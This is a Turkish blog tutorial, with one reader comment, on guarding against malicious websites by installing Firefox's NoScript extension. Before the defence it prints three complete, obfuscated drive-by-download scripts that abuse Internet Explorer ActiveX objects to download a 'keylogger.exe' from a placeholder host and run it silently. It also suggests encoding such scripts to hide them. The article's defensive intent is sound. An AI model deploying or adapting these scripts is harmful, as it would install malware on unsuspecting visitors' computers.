İnternet’te Kendinizi Güvende Hissedin, Tuzak Sitelere Karşı Önleminizi Alın (Detaylı Anlatım)

Eminim internette dolaşan birçok internet kullanıcısı birazdan anlatcağım durumlardan müzdarip olmuşlardır. Olay sonrası yaşanan konuşmalar genelde şöyledir: - Dün bana bir mail geldi, gönderdikleri sayfaya girmemi istediler, siteye girdikten sonra birdaha mailime giremedim. Bir diğer örnek: Bir foruma girdim, birisi yasaklanmış youtube sitesine nasıl girileceği hakkında bir site adresi verdi fakat siteye girdikten sonra msn'ime giremedim. Hatta mağdur olan kişilerde şu şekil konuşmalar da mevcuttur:

 http://www.eno7.org/images/no-script2.JPG

Birisi siteme yorum yapmış ve yorumda sitem hakkında yazıların yazıldığı bir site adresi vermiş o siteye girdikten 10 dk sonra sonra sitemin hacklendiğini gördüm. Bu gibi durumlarda bazen verilen siteye girilmesine bile gerek kalmadan yorum formuna gömülmüş script kodları sayesinde hedef sitenin cookie bilgileri çalınabilir.

Gördüğünüz gibi internette önlem alınmadan dolaşıldığı zaman başımıza gelebilecek tehlikelerin sonu yok. Antivirüsünüzün olması veya spyware programlarınızın olması bu gibi saldırılardan korunmanıza yardımcı olamıyor. Üstte anlattığım yöntemler genelde kurbanın cookie bilgilerinin çalınmasına yönelik durumlar. Yani XSS açığı bulunan sitelerden yararlanılarak (bu sizin sitenizde olabilir) o sitede kayıtlı oturum bilgilerinizin çalınması.

Fakat tehlike sadece bununla sınırlı değil, ziyaret ettiğiniz websitelerinden sizin haberiniz dışında bilgisayarınıza yüklenebilecek olan keyloggeri & trojan türevi zararlı dosyalar ve bu dosyalar sayesinde bilgisayarınızı tamamen size saldırıyı yapan kişinin emrine verebilecek büyük tehlikeler de mevcut. Bu gibi dosyaları genelde ziyaret ettiğiniz sitenin kaynağına gömdükleri script ve frame tarzı kodlar sayesinde size enjekte ederek kullandıkları yöntemdir.

Siz o sırada sitede farklı şeyler görürken arka planda bu zararlı dosyalar bilgisayarınıza habersizce yükleniyor ve sonrası bu saldırıyı yapan kişiye kalıyor. Bu kodları genelde encode ederek yani şifreleyerek sitenin kaynak koduna gömüyorlar. Aşağıda örnek amaçlı bazı kodlar paylaşıcam bu kodlar sayesinde ziyaretçilerin bilgisayarlarına keylogger & trojan tarzı dosyalar yüklemek mümkün olabiliyor... Bu tarz kodlardan bazıları sadece internet explorerda çalışırken bazıları hem internet explorerda hem de firefoxda çalışabiliyor.

Önce bu tarz saldırıların nasıl yapıldığını görelim sonra nasıl korunacağımızı öğrenelim. Saldırının nasıl yapıldığını bilirsek, ne tür bir önlem almamız gerektiğini de bilmiş oluruz.

Aşağıda bir web sitenin kaynak koduna gömülmüş, zararlı kodlar mevcut bu kodlarla ziyaretçilerin bilgisayarlarına zararlı dosyalar yüklemek mümkün olabiliyor.

ÖRNEK 1:

CODE:

  1. <HTML>

  2. <HEAD>

  3. <META http-eqiv="content-type" content="text/html;charset=gb2312">

  4. <textarea style="display:none" id=lshdic200Xpage rows="1" cols="20"></textarea><script language=vbs>document.write(strreverse(lshdic200Xpage.value))</script>

  5. <script

  6. language="VBScript">

  7.   on error resume next

  8.   xx="object"

  9.   xxx="classid"

  10.   xxxx="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"

  11.   xxxxx="Microsoft.XMLHTTP"

  12.   xxxxxx="GET"

  13.   xxxxxxx="Scripting.FileSystemObject"

  14.   xxxxxxxx="Shell.Application"

  15.   dl = "http://www.site.com/keylogger.exe"

  16.   Set df = document.createElement(xx)

  17.   df.setAttribute xxx, xxxx

  18.   str=xxxxx

  19.   Set a = df.CreateObject(str,"")

  20.   a1="Ado"

  21.   a2="db."

  22.   a3="Str"

  23.   a4="eam"

  24.   str1=a1&a2&a3&a4

  25.   str5=str1

  26.   set S = df.createobject(str5,"")

  27.   S.type = 1

  28.   str6=xxxxxx

  29.   a.Open str6, dl, 0

  30.   a.Send

  31.   fname1="keylogger.exe"

  32.   set F = df.createobject(xxxxxxx,"")

  33.   set tmp = F.GetSpecialFolder(2)

  34.   fname1= F.BuildPath(tmp,fname1)

  35.   S.open

  36.   S.write a.responseBody

  37.   S.savetofile fname1,2

  38.   S.close

  39.   set Q = df.createobject(xxxxxxxx,"")

  40.   str1=a1&a2&a3&a4

  41.   Q.ShellExecute fname1,"","","open",0

  42.   </script>

  43. <script type="text/jscript">

  44. function init() {

  45. document.write(Date());

  46. }

  47. window.onload = init;

  48. </script>

  49. </HEAD>

  50. </BODY>

  51. </HTML>

 

ÖRNEK 2:

CODE:

  1. <script type="text/javascript" language="javascript">

  2. var iss = false;

  3. var uri = 'http://www.site.com/keylogger.exe';

  4. var za = 'ting.FileS';

  5. var z = 'plication';

  6. var shellapp = 'Shell.Ap'+z;

  7. var z01 = "r%20%3D%20o.Creat'+'eObject%'+'28n%29";

  8. var z02 = "r%20%3D%20o.Creat'+'eObject%28n%'+'2C%20%22%22%29";

  9. var z03 = "r%20%3D%20o.Create'+'Object%28n%2C'+'%20%22%22%2C%20%22%22%29";

  10. var z04 = "r%20%3D%20o.GetOb'+'ject%28%'+'22%22%2C%20n%29";

  11. var z05 = "r%20%3D%20o.GetObject%28n%'+'2C%20%22%22%29";

  12. var z06 = "r%20%3D%2'+'0o.GetObject%28n%29";

  13. var a1 = 'ADO';

  14. var a2 = 'DB.';

  15. var a3 = 'Str';

  16. var a4 = 'eam';

  17. var obj_t = new Array(

  18.   'BD96'+'C556-65A'+'3-11D0-983'+'A-00C0'+'4FC29E36',

  19.   'AB9BCED'+'D-EC'+'7E-47E1-9322-D'+'4A210617116',

  20.   '0006F'+'033-0000-0000-C000-00000'+'0000046',

  21.   '0006F03A-0000-00'+'00-C000-000000000046',

  22.   '6e32070a-766d-4ee6-879c-dc1'+'fa91d2fc3',

  23.   '6414512B-B978-451D-A0D8-F'+'CFDF33E833C',

  24.   '7F5B7'+'F63-F06F-43'+'31-8A'+'26-339'+'E03C0AE3D',

  25.   '06723E09-F4'+'C2-43c8-8358-09F'+'CD1DB0766',

  26.   '639F725F-1B2'+'D-4831-A9FD-8748'+'47682'+'010',

  27.   'BA018'+'599-1DB3-44f9-83B4-461454C8'+'4BF8',

  28.   'D0C07D56'+'-7C'+'69-43'+'F1-B4A0-25'+'F5A11FAB19',

  29.   'E8CCCDDF-C'+'A28-496b-B050-6C'+'07C962476B');

  30. function CreateO(o, n) {

  31.   var r = null; 

  32.   var ko1 = 'etObject(n)';

  33.   var ko3 = 'teObject(n)';

  34.   var ko4 = 'o.Create';

  35.   var ko5 = 'bject("", n';

  36.   var ko6 = 'reateObj';

  37.   var ko7 = 'r = o.Ge';

  38.   try { eval('r = o.Crea'+ko3) }catch(e){} 

  39.   if (! r) {

  40.     try { eval('r = '+ko4+'Object(n, "")') }catch(e){}

  41.   } 

  42.   if (! r) {

  43.     try { eval('r = o.C'+ko6+'ect(n, "", "")') }catch(e){}

  44.   }

  45.   if (! r) {

  46.     try { eval('r = o.GetO'+ko5+')') }catch(e){}

  47.   } 

  48.   if (! r) {

  49.     try { eval(ko7+'tObject(n, "")') }catch(e){}

  50.   } 

  51.   if (! r) {

  52.     try { eval('r = o.G'+ko1) }catch(e){}

  53.   }

  54.   return(r)

  55. }

  56. function iii() {

  57.   return true;

  58. }

  59. window.onerror = iii;

  60. function rname() {

  61.   var chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz";

  62.   var string_length = 8;

  63.   var randomstring = '';

  64.   for (var i=0; i<string_length; i++) { var rnum = Math.floor(Math.random() * chars.length); randomstring += chars.substring(rnum,rnum+1);

  65.   } return randomstring + '.exe';

  66. } function DoIt()

  67. {

  68.   x.Open('GET',uri + '?e=' + escape(rname()),false);

  69.   x.Send(); var fname1 = rname(); var f = xml.CreateObject('Scrip'+za+'ystemObject',''); var tmp = f.GetSpecialFolder(2);

  70.   fname1 = f.BuildPath(tmp,fname1);

  71.   S.open();

  72.   S.write(x.responseBody);

  73.   S.savetofile(fname1,2);

  74.   S.close(); var Q = xml.createobject(shellapp,'');

  75.   Q.ShellExecute(fname1,'','','open',0);

  76. } if (window.ActiveXObject) { var ni = 0; while (obj_t[ni]) { var xml = null; var xml = document.createElement('object'); guid = obj_t[ni];

  77.    

  78.     xml.setAttribute('classid','clsid:'+guid); if (xml) {

  79.       n_xml = 'Microsoft.XMLHTTP'; try { var x = null; var x = CreateO(xml,n_xml); if (x) {

  80.          

  81.           str1 = a1 + a2;

  82.           str1 = str1 + a3 + a4;

  83.           str5 = str1; var S = xml.CreateObject(str5,"");

  84.           S.type = 1;

  85.           str6 = 'GET';

  86.           DoIt();

  87.         }

  88.       } catch(e){}

  89.     }

  90.     ni++;

  91.   }

  92. }

  93. </script>

  94. <script>

  95. <!--

  96. try {

  97.  function f(b, a, c) { return a + b + c; }

  98.  function g(b, a) { return a + b; }

  99. var s = new Array

  100. (

  101.  "",

  102.  "keylogger.exe",

  103.  "http://www.site.com/",

  104.  "object",

  105.  "classid",

  106.  f("0C0", g(f(g("3-11D0-9", "56-65A"), "id:BD96C5", "83A-0"), "cls"), g("9E36", "4FC2")),

  107.  g(f("ft.XMLH", "oso", "TTP"), "Micr"),

  108.  f("E", "G", "T"),

  109.  f(g(".Str", "odb"), "Ad", "eam"),

  110.  f(g(".She", "ipt"), "WScr", "ll"),

  111.  "PROCESS",

  112.  "TMP",

  113.  "/[^/]*$",

  114.  "/",

  115.  "\\"

  116. );

  117. a = document.createElement(s[3]);

  118. a.setAttribute(s[4], s[5]);

  119. with(a.CreateObject(s[6], s[0]))

  120. {

  121.  open(s[7], location.href.replace(new RegExp(s[12]), s[13] + s[1]), false);

  122.  send();

  123.  if(status <400)

  124.   with(a.CreateObject(s[8], s[0]))

  125.   {

  126.    Type = 1;

  127.    Open();

  128.    Write(responseBody);

  129.    with(a.CreateObject(s[9], s[0]))

  130.    {

  131.     c = Environment(s[10])(s[11]) + s[14] + s[1];

  132.     SaveToFile(c, 2);

  133.     Exec(c);

  134.    }

  135.   }

  136. }

  137. } catch (e) {}

  138. // -->

  139. </script>

 

Üstte paylaştığım kodları genelde encode ederek kullanıyorlar ki ziyaretçiler olası bir şüphe içine girmesinler diye. Üstteki kodu sitemin "Character Encoding" (http://www.eno7.org/character-encoding/encode.html) bölümüne girerek encode edebilirsiniz hatta encode edilmiş kodları tekrardan şifreleyip kullanmak dahi mümkün bunun amacı ise kodların kolay decode edilmesinin önüne geçmektir.

Üstteki kodları genelde kaynak koduna bu şekilde şifreleyerek saklarlar bazen kaynak kodunda bunlarla ilgili hiçbirşey görünmez.

CODE:

  1. <script language='javascript'> document.write(unescape('%20%20%78%78%78%78%78%78%78%3D'));</script>

Kodları incelerseniz bu kodları script kodları sayesinde enjekte etmeye çalıştıklarını görebilirsiniz. Bu gibi saldırıların önüne geçmek için önce gerekli olan malzemeleri sıralayalım.

1:) Mozilla Firefox (http://www.mozilla-europe.org/tr/products/firefox/)
2:) Firefox NoScript Eklentisi (https://addons.mozilla.org/tr/firefox/addon/722)

Firefox'u kurduktan sonra Türkçe dil desteği olan NoScript eklentimizi kuruyoruz ve firefoxu tamamen kapatıp tekrar açıyoruz.

Firefox'umuzun sağ alt köşesine eklentimizin logosu geliyor s.jpg

Herhangi bir siteye girdiğimizde bu eklenti sitede bulunan tüm script kodlarını ve flash dosyalarını engelliyor çünkü flash dosyaları ile de saldırı yapılması mümkündür önceki "XSS nedir" yazımda bu konudan da bahsetmiştim.

Eklentimizi kurduk ve bir siteye girdik hemen browserımızın alt köşesinde kaç tane script kodunun ve flash dosyasının engellendiğini gösterir.

noscript1.jpg

Eğer o siteye güveniyorsak site üzerinde sağ click yaparak veya sağ alt köşedeki noscript logosuna tıklayarak güvendiğimiz site için izin verebiliriz böylelikle o site üzerinde çalışan script kodlarına ve flash dosyalarına izin vermiş oluruz. Eğer site içinde başka sitelerden çağrılmış scirpt kodlarıda mevcut ise onlara da ayriyetten izin vermemiz gerekiyor resimde ip2phrase.com sitesinin de yasaklı olduğunu görüyorsunuz ona da ayrıyetten izin vermeliyim. Tabiki bunu sadece güvendiğimiz siteler için yapıyoruz.

noscript2.jpg

Eğer siteye sonradan güvenimiz kalmazsa siteyi tekrar yasaklı listemize ekleyebiliriz. Siteye izin verdiğimiz yoldan aynı şekilde yasaklamamız da mümkün.

noscript3.jpg

Şimdi eklentimizin menülerini inceleyelim noscript logosuna tıklayarak seçeneklere giriyoruz.

Burada izin verdiğimiz siteleri görebiliriz, istersek daha fazla siteyi de buradan beyaz listeye ekleyebiliriz, yasaklamak istediklerimizi ise listeden çıkarabiliriz.

noscript4.jpg

Eklentiler sekmesine tıkladığımızda karşımıza eklentinin sitelerde uyguladığı kısıtlamaları görüyoruz burada daha güvenli bir surf yapmak istersek "< IFRAME > 'i engelle" seçeneğini de seçerek siteler için ilave kısıtlama yapabiliriz.

noscript5.jpg

Uyarılar sekmesine tıkladığımıza, girdiğimiz sitelerde engellenen betiklerin uyarı olarak browserın altında gösterilip gösterilmemesi veya gösterilen uyarının belli bir saniye sonra kaybolmasını sağlayabiliriz. Bunun için "5 saniye sonra gizle" seçeneğini seçebiliriz istersek saniyeyi uzatabiliriz.

noscript6.jpg

Bu eklentinin kullanımı bize sitelerden enjekte edilmeye çalışılan tüm zararlı kodlardan kurtulmamızı sağlar.

Eğer daha önce bu gibi sitelere girip keylogger yediğinizi düşünüyorsanız ve şifrelerinizin, yazılarınızın başkaları tarafından kayıt edildiğini düşünüyorsanız "Tüm Keyloggerlar’dan Korunun" başlıklı yazdığım yazıya bakabilirsiniz.

Kaynak: eno7 | http://eno7.org

__________________________

4.75
Ortalama: 4.8 (4 votes)

Re: İnternet’te Kendinizi Güvende Hissedin, Tuzak Sitelere Karşı

saol kardeş.iyi düşünmüşsün.peki ben operayı kullanıyorum.bunun için ne yapacağım??